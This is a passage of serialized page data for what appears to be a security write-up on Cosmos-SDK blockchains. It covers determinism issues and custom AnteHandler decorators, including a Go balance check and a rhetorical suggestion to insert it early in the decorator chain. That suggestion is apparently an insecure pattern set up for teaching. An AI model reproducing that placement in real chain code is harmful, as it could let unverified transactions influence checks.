type":29,"value":2597},{"type":24,"tag":147,"props":83914,"children":83915},{"style":241},[83916],{"type":29,"value":12767},{"type":24,"tag":147,"props":83918,"children":83919},{"style":9044},[83920],{"type":29,"value":11383},{"type":24,"tag":147,"props":83922,"children":83923},{"style":235},[83924],{"type":29,"value":87},{"type":24,"tag":147,"props":83926,"children":83927},{"style":9044},[83928],{"type":29,"value":83643},{"type":24,"tag":147,"props":83930,"children":83931},{"style":235},[83932],{"type":29,"value":278},{"type":24,"tag":147,"props":83934,"children":83935},{"class":149,"line":350},[83936,83941,83946,83951],{"type":24,"tag":147,"props":83937,"children":83938},{"style":247},[83939],{"type":29,"value":83940},"        Version",{"type":24,"tag":147,"props":83942,"children":83943},{"style":235},[83944],{"type":29,"value":83945},":    ",{"type":24,"tag":147,"props":83947,"children":83948},{"style":247},[83949],{"type":29,"value":83950},"version",{"type":24,"tag":147,"props":83952,"children":83953},{"style":235},[83954],{"type":29,"value":1549},{"type":24,"tag":147,"props":83956,"children":83957},{"class":149,"line":358},[83958,83963,83967,83971],{"type":24,"tag":147,"props":83959,"children":83960},{"style":247},[83961],{"type":29,"value":83962},"        StoreInfos",{"type":24,"tag":147,"props":83964,"children":83965},{"style":235},[83966],{"type":29,"value":20943},{"type":24,"tag":147,"props":83968,"children":83969},{"style":247},[83970],{"type":29,"value":83812},{"type":24,"tag":147,"props":83972,"children":83973},{"style":235},[83974],{"type":29,"value":1549},{"type":24,"tag":147,"props":83976,"children":83977},{"class":149,"line":397},[83978],{"type":24,"tag":147,"props":83979,"children":83980},{"style":235},[83981],{"type":29,"value":1952},{"type":24,"tag":147,"props":83983,"children":83984},{"class":149,"line":421},[83985],{"type":24,"tag":147,"props":83986,"children":83987},{"style":235},[83988],{"type":29,"value":827},{"type":24,"tag":25,"props":83990,"children":83991},{},[83992,83994,84001,84002,84009],{"type":29,"value":83993},"Other factors contributing to determinism issues are the usage of ",{"type":24,"tag":2773,"props":83995,"children":83998},{"href":83996,"rel":83997},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[2777],[83999],{"type":29,"value":84000},"time-sensitive functions",{"type":29,"value":855},{"type":24,"tag":2773,"props":84003,"children":84006},{"href":84004,"rel":84005},"https://github.com/cosmos/cosmos-sdk/issues/16638",[2777],[84007],{"type":29,"value":84008},"race conditions",{"type":29,"value":87},{"type":24,"tag":32,"props":84011,"children":84013},{"id":84012},"thou-shalt-not-passor-should-you",[84014],{"type":29,"value":84015},"Thou Shalt Not Pass...Or Should You?",{"type":24,"tag":25,"props":84017,"children":84018},{},[84019,84021,84027,84028,84034],{"type":29,"value":84020},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":24,"tag":80,"props":84022,"children":84024},{"className":84023},[],[84025],{"type":29,"value":84026},"msg.value",{"type":29,"value":546},{"type":24,"tag":80,"props":84029,"children":84031},{"className":84030},[],[84032],{"type":29,"value":84033},"msg.sender",{"type":29,"value":84035},", and collecting transaction fees) to the underlying blockchain.",{"type":24,"tag":25,"props":84037,"children":84038},{},[84039,84041,84047,84049,84055],{"type":29,"value":84040},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":24,"tag":80,"props":84042,"children":84044},{"className":84043},[],[84045],{"type":29,"value":84046},"Cosmos-SDK",{"type":29,"value":84048}," introduces ",{"type":24,"tag":80,"props":84050,"children":84052},{"className":84051},[],[84053],{"type":29,"value":84054},"AnteHandler",{"type":29,"value":84056}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":24,"tag":25,"props":84058,"children":84059},{},[84060,84062,84067,84069,84074],{"type":29,"value":84061},"To provide context, let's first understand how an ",{"type":24,"tag":80,"props":84063,"children":84065},{"className":84064},[],[84066],{"type":29,"value":84054},{"type":29,"value":84068}," is processed. Each ",{"type":24,"tag":80,"props":84070,"children":84072},{"className":84071},[],[84073],{"type":29,"value":84054},{"type":29,"value":84075}," is a state transition function that can:",{"type":24,"tag":2674,"props":84077,"children":84078},{},[84079,84084],{"type":24,"tag":2678,"props":84080,"children":84081},{},[84082],{"type":29,"value":84083},"Transform the block state in relation to transaction and execution context.",{"type":24,"tag":2678,"props":84085,"children":84086},{},[84087,84089],{"type":29,"value":84088},"Determine the course of action for the transaction.\n",{"type":24,"tag":2674,"props":84090,"children":84091},{},[84092,84103],{"type":24,"tag":2678,"props":84093,"children":84094},{},[84095,84097,84102],{"type":29,"value":84096},"Pass the transaction to the next ",{"type":24,"tag":80,"props":84098,"children":84100},{"className":84099},[],[84101],{"type":29,"value":84054},{"type":29,"value":87},{"type":24,"tag":2678,"props":84104,"children":84105},{},[84106],{"type":29,"value":84107},"Return error for transaction.",{"type":24,"tag":25,"props":84109,"children":84110},{},[84111,84113,84118],{"type":29,"value":84112},"The bad news is that developing an ",{"type":24,"tag":80,"props":84114,"children":84116},{"className":84115},[],[84117],{"type":29,"value":84054},{"type":29,"value":84119}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":24,"tag":25,"props":84121,"children":84122},{},[84123,84124,84130],{"type":29,"value":5094},{"type":24,"tag":80,"props":84125,"children":84127},{"className":84126},[],[84128],{"type":29,"value":84129},"AnteHandle",{"type":29,"value":84131}," implementation may look something like this:",{"type":24,"tag":137,"props":84133,"children":84135},{"code":84134,"language":81748,"meta":7,"className":81749,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[84136],{"type":24,"tag":80,"props":84137,"children":84138},{"__ignoreMap":7},[84139,84151,84167,84174,84181,84214,84238,84263,84279,84303,84335,84383,84402,84435,84456,84468,84475,84482,84489,84519,84555,84619,84653,84685,84697,84709,84716,84723,84730,84737,84779],{"type":24,"tag":147,"props":84140,"children":84141},{"class":149,"line":150},[84142,84146],{"type":24,"tag":147,"props":84143,"children":84144},{"style":218},[84145],{"type":29,"value":15276},{"type":24,"tag":147,"props":84147,"children":84148},{"style":235},[84149],{"type":29,"value":84150}," (\n",{"type":24,"tag":147,"props":84152,"children":84153},{"class":149,"line":160},[84154,84159,84163],{"type":24,"tag":147,"props":84155,"children":84156},{"style":247},[84157],{"type":29,"value":84158},"    MIN_BALANCE",{"type":24,"tag":147,"props":84160,"children":84161},{"style":241},[84162],{"type":29,"value":651},{"type":24,"tag":147,"props":84164,"children":84165},{"style":705},[84166],{"type":29,"value":24947},{"type":24,"tag":147,"props":84168,"children":84169},{"class":149,"line":169},[84170],{"type":24,"tag":147,"props":84171,"children":84172},{"style":235},[84173],{"type":29,"value":269},{"type":24,"tag":147,"props":84175,"children":84176},{"class":149,"line":178},[84177],{"type":24,"tag":147,"props":84178,"children":84179},{"emptyLinePlaceholder":16},[84180],{"type":29,"value":314},{"type":24,"tag":147,"props":84182,"children":84183},{"class":149,"line":187},[84184,84188,84192,84197,84202,84206,84210],{"type":24,"tag":147,"props":84185,"children":84186},{"style":218},[84187],{"type":29,"value":81884},{"type":24,"tag":147,"props":84189,"children":84190},{"style":235},[84191],{"type":29,"value":408},{"type":24,"tag":147,"props":84193,"children":84194},{"style":247},[84195],{"type":29,"value":84196},"abd ",{"type":24,"tag":147,"props":84198,"children":84199},{"style":9044},[84200],{"type":29,"value":84201},"AccountBalanceDecorator",{"type":24,"tag":147,"props":84203,"children":84204},{"style":235},[84205],{"type":29,"value":564},{"type":24,"tag":147,"props":84207,"children":84208},{"style":229},[84209],{"type":29,"value":84129},{"type":24,"tag":147,"props":84211,"children":84212},{"style":235},[84213],{"type":29,"value":9088},{"type":24,"tag":147,"props":84215,"children":84216},{"class":149,"line":196},[84217,84221,84226,84230,84234],{"type":24,"tag":147,"props":84218,"children":84219},{"style":247},[84220],{"type":29,"value":25827},{"type":24,"tag":147,"props":84222,"children":84223},{"style":9044},[84224],{"type":29,"value":84225}," sdk",{"type":24,"tag":147,"props":84227,"children":84228},{"style":235},[84229],{"type":29,"value":87},{"type":24,"tag":147,"props":84231,"children":84232},{"style":9044},[84233],{"type":29,"value":81933},{"type":24,"tag":147,"props":84235,"children":84236},{"style":235},[84237],{"type":29,"value":1549},{"type":24,"tag":147,"props":84239,"children":84240},{"class":149,"line":205},[84241,84246,84250,84254,84259],{"type":24,"tag":147,"props":84242,"children":84243},{"style":247},[84244],{"type":29,"value":84245},"    tx",{"type":24,"tag":147,"props":84247,"children":84248},{"style":9044},[84249],{"type":29,"value":84225},{"type":24,"tag":147,"props":84251,"children":84252},{"style":235},[84253],{"type":29,"value":87},{"type":24,"tag":147,"props":84255,"children":84256},{"style":9044},[84257],{"type":29,"value":84258},"Tx",{"type":24,"tag":147,"props":84260,"children":84261},{"style":235},[84262],{"type":29,"value":1549},{"type":24,"tag":147,"props":84264,"children":84265},{"class":149,"line":214},[84266,84271,84275],{"type":24,"tag":147,"props":84267,"children":84268},{"style":247},[84269],{"type":29,"value":84270},"    simulate",{"type":24,"tag":147,"props":84272,"children":84273},{"style":9044},[84274],{"type":29,"value":17669},{"type":24,"tag":147,"props":84276,"children":84277},{"style":235},[84278],{"type":29,"value":1549},{"type":24,"tag":147,"props":84280,"children":84281},{"class":149,"line":272},[84282,84287,84291,84295,84299],{"type":24,"tag":147,"props":84283,"children":84284},{"style":247},[84285],{"type":29,"value":84286},"    next",{"type":24,"tag":147,"props":84288,"children":84289},{"style":9044},[84290],{"type":29,"value":84225},{"type":24,"tag":147,"props":84292,"children":84293},{"style":235},[84294],{"type":29,"value":87},{"type":24,"tag":147,"props":84296,"children":84297},{"style":9044},[84298],{"type":29,"value":84054},{"type":24,"tag":147,"props":84300,"children":84301},{"style":235},[84302],{"type":29,"value":1549},{"type":24,"tag":147,"props":84304,"children":84305},{"class":149,"line":281},[84306,84310,84315,84319,84323,84327,84331],{"type":24,"tag":147,"props":84307,"children":84308},{"style":235},[84309],{"type":29,"value":81966},{"type":24,"tag":147,"props":84311,"children":84312},{"style":9044},[84313],{"type":29,"value":84314},"sdk",{"type":24,"tag":147,"props":84316,"children":84317},{"style":235},[84318],{"type":29,"value":87},{"type":24,"tag":147,"props":84320,"children":84321},{"style":9044},[84322],{"type":29,"value":81933},{"type":24,"tag":147,"props":84324,"children":84325},{"style":235},[84326],{"type":29,"value":546},{"type":24,"tag":147,"props":84328,"children":84329},{"style":9044},[84330],{"type":29,"value":20477},{"type":24,"tag":147,"props":84332,"children":84333},{"style":235},[84334],{"type":29,"value":505},{"type":24,"tag":147,"props":84336,"children":84337},{"class":149,"line":299},[84338,84343,84347,84352,84356,84360,84365,84370,84374,84379],{"type":24,"tag":147,"props":84339,"children":84340},{"style":247},[84341],{"type":29,"value":84342},"    sigTx",{"type":24,"tag":147,"props":84344,"children":84345},{"style":235},[84346],{"type":29,"value":546},{"type":24,"tag":147,"props":84348,"children":84349},{"style":247},[84350],{"type":29,"value":84351},"ok",{"type":24,"tag":147,"props":84353,"children":84354},{"style":241},[84355],{"type":29,"value":82000},{"type":24,"tag":147,"props":84357,"children":84358},{"style":247},[84359],{"type":29,"value":73610},{"type":24,"tag":147,"props":84361,"children":84362},{"style":235},[84363],{"type":29,"value":84364},".(",{"type":24,"tag":147,"props":84366,"children":84367},{"style":9044},[84368],{"type":29,"value":84369},"authsigning",{"type":24,"tag":147,"props":84371,"children":84372},{"style":235},[84373],{"type":29,"value":87},{"type":24,"tag":147,"props":84375,"children":84376},{"style":9044},[84377],{"type":29,"value":84378},"SigVerifiableTx",{"type":24,"tag":147,"props":84380,"children":84381},{"style":235},[84382],{"type":29,"value":269},{"type":24,"tag":147,"props":84384,"children":84385},{"class":149,"line":308},[84386,84390,84394,84398],{"type":24,"tag":147,"props":84387,"children":84388},{"style":321},[84389],{"type":29,"value":4759},{"type":24,"tag":147,"props":84391,"children":84392},{"style":241},[84393],{"type":29,"value":3598},{"type":24,"tag":147,"props":84395,"children":84396},{"style":247},[84397],{"type":29,"value":84351},{"type":24,"tag":147,"props":84399,"children":84400},{"style":235},[84401],{"type":29,"value":6630},{"type":24,"tag":147,"props":84403,"children":84404},{"class":149,"line":317},[84405,84409,84413,84417,84422,84426,84431],{"type":24,"tag":147,"props":84406,"children":84407},{"style":321},[84408],{"type":29,"value":7020},{"type":24,"tag":147,"props":84410,"children":84411},{"style":247},[84412],{"type":29,"value":31444},{"type":24,"tag":147,"props":84414,"children":84415},{"style":235},[84416],{"type":29,"value":546},{"type":24,"tag":147,"props":84418,"children":84419},{"style":247},[84420],{"type":29,"value":84421},"errorsmod",{"type":24,"tag":147,"props":84423,"children":84424},{"style":235},[84425],{"type":29,"value":87},{"type":24,"tag":147,"props":84427,"children":84428},{"style":229},[84429],{"type":29,"value":84430},"Wrap",{"type":24,"tag":147,"props":84432,"children":84433},{"style":235},[84434],{"type":29,"value":9088},{"type":24,"tag":147,"props":84436,"children":84437},{"class":149,"line":332},[84438,84443,84447,84452],{"type":24,"tag":147,"props":84439,"children":84440},{"style":247},[84441],{"type":29,"value":84442},"            sdkerrors",{"type":24,"tag":147,"props":84444,"children":84445},{"style":235},[84446],{"type":29,"value":87},{"type":24,"tag":147,"props":84448,"children":84449},{"style":247},[84450],{"type":29,"value":84451},"ErrTxDecode",{"type":24,"tag":147,"props":84453,"children":84454},{"style":235},[84455],{"type":29,"value":1549},{"type":24,"tag":147,"props":84457,"children":84458},{"class":149,"line":350},[84459,84464],{"type":24,"tag":147,"props":84460,"children":84461},{"style":3534},[84462],{"type":29,"value":84463},"            \"invalid tx type\"",{"type":24,"tag":147,"props":84465,"children":84466},{"style":235},[84467],{"type":29,"value":1549},{"type":24,"tag":147,"props":84469,"children":84470},{"class":149,"line":358},[84471],{"type":24,"tag":147,"props":84472,"children":84473},{"style":235},[84474],{"type":29,"value":73903},{"type":24,"tag":147,"props":84476,"children":84477},{"class":149,"line":397},[84478],{"type":24,"tag":147,"props":84479,"children":84480},{"style":235},[84481],{"type":29,"value":1952},{"type":24,"tag":147,"props":84483,"children":84484},{"class":149,"line":421},[84485],{"type":24,"tag":147,"props":84486,"children":84487},{"emptyLinePlaceholder":16},[84488],{"type":29,"value":314},{"type":24,"tag":147,"props":84490,"children":84491},{"class":149,"line":435},[84492,84497,84501,84506,84510,84515],{"type":24,"tag":147,"props":84493,"children":84494},{"style":247},[84495],{"type":29,"value":84496},"    signers",{"type":24,"tag":147,"props":84498,"children":84499},{"style":241},[84500],{"type":29,"value":82000},{"type":24,"tag":147,"props":84502,"children":84503},{"style":247},[84504],{"type":29,"value":84505}," sigTx",{"type":24,"tag":147,"props":84507,"children":84508},{"style":235},[84509],{"type":29,"value":87},{"type":24,"tag":147,"props":84511,"children":84512},{"style":229},[84513],{"type":29,"value":84514},"GetSigners",{"type":24,"tag":147,"props":84516,"children":84517},{"style":235},[84518],{"type":29,"value":13361},{"type":24,"tag":147,"props":84520,"children":84521},{"class":149,"line":444},[84522,84526,84530,84534,84538,84542,84546,84551],{"type":24,"tag":147,"props":84523,"children":84524},{"style":321},[84525],{"type":29,"value":324},{"type":24,"tag":147,"props":84527,"children":84528},{"style":247},[84529],{"type":29,"value":9023},{"type":24,"tag":147,"props":84531,"children":84532},{"style":235},[84533],{"type":29,"value":546},{"type":24,"tag":147,"props":84535,"children":84536},{"style":247},[84537],{"type":29,"value":12772},{"type":24,"tag":147,"props":84539,"children":84540},{"style":241},[84541],{"type":29,"value":82000},{"type":24,"tag":147,"props":84543,"children":84544},{"style":321},[84545],{"type":29,"value":82983},{"type":24,"tag":147,"props":84547,"children":84548},{"style":247},[84549],{"type":29,"value":84550}," signers",{"type":24,"tag":147,"props":84552,"children":84553},{"style":235},[84554],{"type":29,"value":6630},{"type":24,"tag":147,"props":84556,"children":84557},{"class":149,"line":452},[84558,84563,84567,84572,84576,84581,84585,84590,84594,84598,84602,84606,84610,84615],{"type":24,"tag":147,"props":84559,"children":84560},{"style":247},[84561],{"type":29,"value":84562},"        balance",{"type":24,"tag":147,"props":84564,"children":84565},{"style":241},[84566],{"type":29,"value":82000},{"type":24,"tag":147,"props":84568,"children":84569},{"style":247},[84570],{"type":29,"value":84571}," abd",{"type":24,"tag":147,"props":84573,"children":84574},{"style":235},[84575],{"type":29,"value":87},{"type":24,"tag":147,"props":84577,"children":84578},{"style":247},[84579],{"type":29,"value":84580},"bk",{"type":24,"tag":147,"props":84582,"children":84583},{"style":235},[84584],{"type":29,"value":87},{"type":24,"tag":147,"props":84586,"children":84587},{"style":229},[84588],{"type":29,"value":84589},"getBalance",{"type":24,"tag":147,"props":84591,"children":84592},{"style":235},[84593],{"type":29,"value":480},{"type":24,"tag":147,"props":84595,"children":84596},{"style":247},[84597],{"type":29,"value":25884},{"type":24,"tag":147,"props":84599,"children":84600},{"style":235},[84601],{"type":29,"value":546},{"type":24,"tag":147,"props":84603,"children":84604},{"style":247},[84605],{"type":29,"value":12772},{"type":24,"tag":147,"props":84607,"children":84608},{"style":235},[84609],{"type":29,"value":546},{"type":24,"tag":147,"props":84611,"children":84612},{"style":247},[84613],{"type":29,"value":84614},"ATOM",{"type":24,"tag":147,"props":84616,"children":84617},{"style":235},[84618],{"type":29,"value":269},{"type":24,"tag":147,"props":84620,"children":84621},{"class":149,"line":461},[84622,84626,84631,84635,84640,84644,84649],{"type":24,"tag":147,"props":84623,"children":84624},{"style":321},[84625],{"type":29,"value":403},{"type":24,"tag":147,"props":84627,"children":84628},{"style":247},[84629],{"type":29,"value":84630}," balance",{"type":24,"tag":147,"props":84632,"children":84633},{"style":235},[84634],{"type":29,"value":87},{"type":24,"tag":147,"props":84636,"children":84637},{"style":247},[84638],{"type":29,"value":84639},"Amount",{"type":24,"tag":147,"props":84641,"children":84642},{"style":241},[84643],{"type":29,"value":14344},{"type":24,"tag":147,"props":84645,"children":84646},{"style":247},[84647],{"type":29,"value":84648}," MIN_BALANCE",{"type":24,"tag":147,"props":84650,"children":84651},{"style":235},[84652],{"type":29,"value":6630},{"type":24,"tag":147,"props":84654,"children":84655},{"class":149,"line":469},[84656,84661,84665,84669,84673,84677,84681],{"type":24,"tag":147,"props":84657,"children":84658},{"style":321},[84659],{"type":29,"value":84660},"            return",{"type":24,"tag":147,"props":84662,"children":84663},{"style":247},[84664],{"type":29,"value":31444},{"type":24,"tag":147,"props":84666,"children":84667},{"style":235},[84668],{"type":29,"value":546},{"type":24,"tag":147,"props":84670,"children":84671},{"style":247},[84672],{"type":29,"value":84421},{"type":24,"tag":147,"props":84674,"children":84675},{"style":235},[84676],{"type":29,"value":87},{"type":24,"tag":147,"props":84678,"children":84679},{"style":229},[84680],{"type":29,"value":84430},{"type":24,"tag":147,"props":84682,"children":84683},{"style":235},[84684],{"type":29,"value":9088},{"type":24,"tag":147,"props":84686,"children":84687},{"class":149,"line":508},[84688,84693],{"type":24,"tag":147,"props":84689,"children":84690},{"style":247},[84691],{"type":29,"value":84692},"                ErrInsufficientBalance",{"type":24,"tag":147,"props":84694,"children":84695},{"style":235},[84696],{"type":29,"value":1549},{"type":24,"tag":147,"props":84698,"children":84699},{"class":149,"line":572},[84700,84705],{"type":24,"tag":147,"props":84701,"children":84702},{"style":3534},[84703],{"type":29,"value":84704},"                \"Insufficient Balance\"",{"type":24,"tag":147,"props":84706,"children":84707},{"style":235},[84708],{"type":29,"value":1549},{"type":24,"tag":147,"props":84710,"children":84711},{"class":149,"line":591},[84712],{"type":24,"tag":147,"props":84713,"children":84714},{"style":235},[84715],{"type":29,"value":83099},{"type":24,"tag":147,"props":84717,"children":84718},{"class":149,"line":632},[84719],{"type":24,"tag":147,"props":84720,"children":84721},{"style":235},[84722],{"type":29,"value":441},{"type":24,"tag":147,"props":84724,"children":84725},{"class":149,"line":659},[84726],{"type":24,"tag":147,"props":84727,"children":84728},{"style":235},[84729],{"type":29,"value":1952},{"type":24,"tag":147,"props":84731,"children":84732},{"class":149,"line":684},[84733],{"type":24,"tag":147,"props":84734,"children":84735},{"emptyLinePlaceholder":16},[84736],{"type":29,"value":314},{"type":24,"tag":147,"props":84738,"children":84739},{"class":149,"line":715},[84740,84744,84749,84753,84757,84761,84766,84770,84775],{"type":24,"tag":147,"props":84741,"children":84742},{"style":321},[84743],{"type":29,"value":2597},{"type":24,"tag":147,"props":84745,"children":84746},{"style":229},[84747],{"type":29,"value":84748}," next",{"type":24,"tag":147,"props":84750,"children":84751},{"style":235},[84752],{"type":29,"value":480},{"type":24,"tag":147,"props":84754,"children":84755},{"style":247},[84756],{"type":29,"value":25884},{"type":24,"tag":147,"props":84758,"children":84759},{"style":235},[84760],{"type":29,"value":546},{"type":24,"tag":147,"props":84762,"children":84763},{"style":247},[84764],{"type":29,"value":84765},"tx",{"type":24,"tag":147,"props":84767,"children":84768},{"style":235},[84769],{"type":29,"value":546},{"type":24,"tag":147,"props":84771,"children":84772},{"style":247},[84773],{"type":29,"value":84774},"simulate",{"type":24,"tag":147,"props":84776,"children":84777},{"style":235},[84778],{"type":29,"value":269},{"type":24,"tag":147,"props":84780,"children":84781},{"class":149,"line":744},[84782],{"type":24,"tag":147,"props":84783,"children":84784},{"style":235},[84785],{"type":29,"value":827},{"type":24,"tag":25,"props":84787,"children":84788},{},[84789,84791,84796,84798,84804,84806,84812],{"type":29,"value":84790},"Where should this custom ",{"type":24,"tag":80,"props":84792,"children":84794},{"className":84793},[],[84795],{"type":29,"value":84054},{"type":29,"value":84797}," be placed relative to other ",{"type":24,"tag":80,"props":84799,"children":84801},{"className":84800},[],[84802],{"type":29,"value":84803},"AnteHandlers",{"type":29,"value":84805}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":24,"tag":80,"props":84807,"children":84809},{"className":84808},[],[84810],{"type":29,"value":84811},"SetUpContextDecorator",{"type":29,"value":84813}," should work, right?",{"type":24,"tag":25,"props":84815,"children":84816},{},[84817],{"type":24,"tag":2773,"props":84818,"children":84821},{"href":84819,"rel":84820},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[2777],[84822],{"type":29,"value":82323},{"type":24,"tag":137,"props":84824,"children":84826},{"code":84825,"language":81748,"meta":7,"className":81749,"style":7},"anteDecorators := []sdk.AnteDecorator{\n    NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n    // INSERT HERE\n    NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n    NewValidateBasicDecorator(),\n    NewTxTimeoutHeightDecorator(),\n    NewValidateMemoDecorator(options.AccountKeeper),\n    NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n    NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n    NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n    NewValidateSigCountDecorator(options.AccountKeeper),\n    NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n    NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n    NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[84827],{"type":24,"tag":80,"props":84828,"children":84829},{"__ignoreMap":7},[84830,84863,84880,84888,84917,84929,84941,84970,84998,85077,85110,85138,85183,85228,85256],{"type":24,"tag":147,"props":84831,"children":84832},{"class":149,"line":150},[84833,84838,84842,84846,84850,84854,84859],{"type":24,"tag":147,"props":84834,"children":84835},{"style":247},[84836],{"type":29,"value":84837},"anteDecorators",{"type":24,"tag":147,"props":84839,"children":84840},{"style":241},[84841],{"type":29,"value":82000},{"type":24,"tag":147,"props":84843,"children":84844},{"style":235},[84845],{"type":29,"value":81811},{"type":24,"tag":147,"props":84847,"children":84848},{"style":9044},[84849],{"type":29,"value":84314},{"type":24,"tag":147,"props":84851,"children":84852},{"style":235},[84853],{"type":29,"value":87},{"type":24,"tag":147,"props":84855,"children":84856},{"style":9044},[84857],{"type":29,"value":84858},"AnteDecorator",{"type":24,"tag":147,"props":84860,"children":84861},{"style":235},[84862],{"type":29,"value":278},{"type":24,"tag":147,"props":84864,"children":84865},{"class":149,"line":160},[84866,84871,84875],{"type":24,"tag":147,"props":84867,"children":84868},{"style":229},[84869],{"type":29,"value":84870},"    NewSetUpContextDecorator",{"type":24,"tag":147,"props":84872,"children":84873},{"style":235},[84874],{"type":29,"value":23982},{"type":24,"tag":147,"props":84876,"children":84877},{"style":154},[84878],{"type":29,"value":84879},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":24,"tag":147,"props":84881,"children":84882},{"class":149,"line":169},[84883],{"type":24,"tag":147,"props":84884,"children":84885},{"style":154},[84886],{"type":29,"value":84887},"    // INSERT HERE\n",{"type":24,"tag":147,"props":84889,"children":84890},{"class":149,"line":178},[84891,84896,84900,84904,84908,84913],{"type":24,"tag":147,"props":84892,"children":84893},{"style":229},[84894],{"type":29,"value":84895},"    NewExtensionOptionsDecorator",{"type":24,"tag":147,"props":84897,"children":84898},{"style":235},[84899],{"type":29,"value":480},{"type":24,"tag":147,"props":84901,"children":84902},{"style":247},[84903],{"type":29,"value":41639},{"type":24,"tag":147,"props":84905,"children":84906},{"style":235},[84907],{"type":29,"value":87},{"type":24,"tag":147,"props":84909,"children":84910},{"style":247},[84911],{"type":29,"value":84912},"ExtensionOptionChecker",{"type":24,"tag":147,"props":84914,"children":84915},{"style":235},[84916],{"type":29,"value":12362},{"type":24,"tag":147,"props":84918,"children":84919},{"class":149,"line":187},[84920,84925],{"type":24,"tag":147,"props":84921,"children":84922},{"style":229},[84923],{"type":29,"value":84924},"    NewValidateBasicDecorator",{"type":24,"tag":147,"props":84926,"children":84927},{"style":235},[84928],{"type":29,"value":9116},{"type":24,"tag":147,"props":84930,"children":84931},{"class":149,"line":196},[84932,84937],{"type":24,"tag":147,"props":84933,"children":84934},{"style":229},[84935],{"type":29,"value":84936},"    NewTxTimeoutHeightDecorator",{"type":24,"tag":147,"props":84938,"children":84939},{"style":235},[84940],{"type":29,"value":9116},{"type":24,"tag":147,"props":84942,"children":84943},{"class":149,"line":205},[84944,84949,84953,84957,84961,84966],{"type":24,"tag":147,"props":84945,"children":84946},{"style":229},[84947],{"type":29,"value":84948},"    NewValidateMemoDecorator",{"type":24,"tag":147,"props":84950,"children":84951},{"style":235},[84952],{"type":29,"value":480},{"type":24,"tag":147,"props":84954,"children":84955},{"style":247},[84956],{"type":29,"value":41639},{"type":24,"tag":147,"props":84958,"children":84959},{"style":235},[84960],{"type":29,"value":87},{"type":24,"tag":147,"props":84962,"children":84963},{"style":247},[84964],{"type":29,"value":84965},"AccountKeeper",{"type":24,"tag":147,"props":84967,"children":84968},{"style":235},[84969],{"type":29,"value":12362},{"type":24,"tag":147,"props":84971,"children":84972},{"class":149,"line":214},[84973,84978,84982,84986,84990,84994],{"type":24,"tag":147,"props":84974,"children":84975},{"style":229},[84976],{"type":29,"value":84977},"    NewConsumeGasForTxSizeDecorator",{"type":24,"tag":147,"props":84979,"children":84980},{"style":235},[84981],{"type":29,"value":480},{"type":24,"tag":147,"props":84983,"children":84984},{"style":247},[84985],{"type":29,"value":41639},{"type":24,"tag":147,"props":84987,"children":84988},{"style":235},[84989],{"type":29,"value":87},{"type":24,"tag":147,"props":84991,"children":84992},{"style":247},[84993],{"type":29,"value":84965},{"type":24,"tag":147,"props":84995,"children":84996},{"style":235},[84997],{"type":29,"value":12362},{"type":24,"tag":147,"props":84999,"children":85000},{"class":149,"line":272},[85001,85006,85010,85014,85018,85022,85026,85030,85034,85039,85043,85047,85051,85056,85060,85064,85068,85073],{"type":24,"tag":147,"props":85002,"children":85003},{"style":229},[85004],{"type":29,"value":85005},"    NewDeductFeeDecorator",{"type":24,"tag":147,"props":85007,"children":85008},{"style":235},[85009],{"type":29,"value":480},{"type":24,"tag":147,"props":85011,"children":85012},{"style":247},[85013],{"type":29,"value":41639},{"type":24,"tag":147,"props":85015,"children":85016},{"style":235},[85017],{"type":29,"value":87},{"type":24,"tag":147,"props":85019,"children":85020},{"style":247},[85021],{"type":29,"value":84965},{"type":24,"tag":147,"props":85023,"children":85024},{"style":235},[85025],{"type":29,"value":546},{"type":24,"tag":147,"props":85027,"children":85028},{"style":247},[85029],{"type":29,"value":41639},{"type":24,"tag":147,"props":85031,"children":85032},{"style":235},[85033],{"type":29,"value":87},{"type":24,"tag":147,"props":85035,"children":85036},{"style":247},[85037],{"type":29,"value":85038},"BankKeeper",{"type":24,"tag":147,"props":85040,"children":85041},{"style":235},[85042],{"type":29,"value":546},{"type":24,"tag":147,"props":85044,"children":85045},{"style":247},[85046],{"type":29,"value":41639},{"type":24,"tag":147,"props":85048,"children":85049},{"style":235},[85050],{"type":29,"value":87},{"type":24,"tag":147,"props":85052,"children":85053},{"style":247},[85054],{"type":29,"value":85055},"FeegrantKeeper",{"type":24,"tag":147,"props":85057,"children":85058},{"style":235},[85059],{"type":29,"value":546},{"type":24,"tag":147,"props":85061,"children":85062},{"style":247},[85063],{"type":29,"value":41639},{"type":24,"tag":147,"props":85065,"children":85066},{"style":235},[85067],{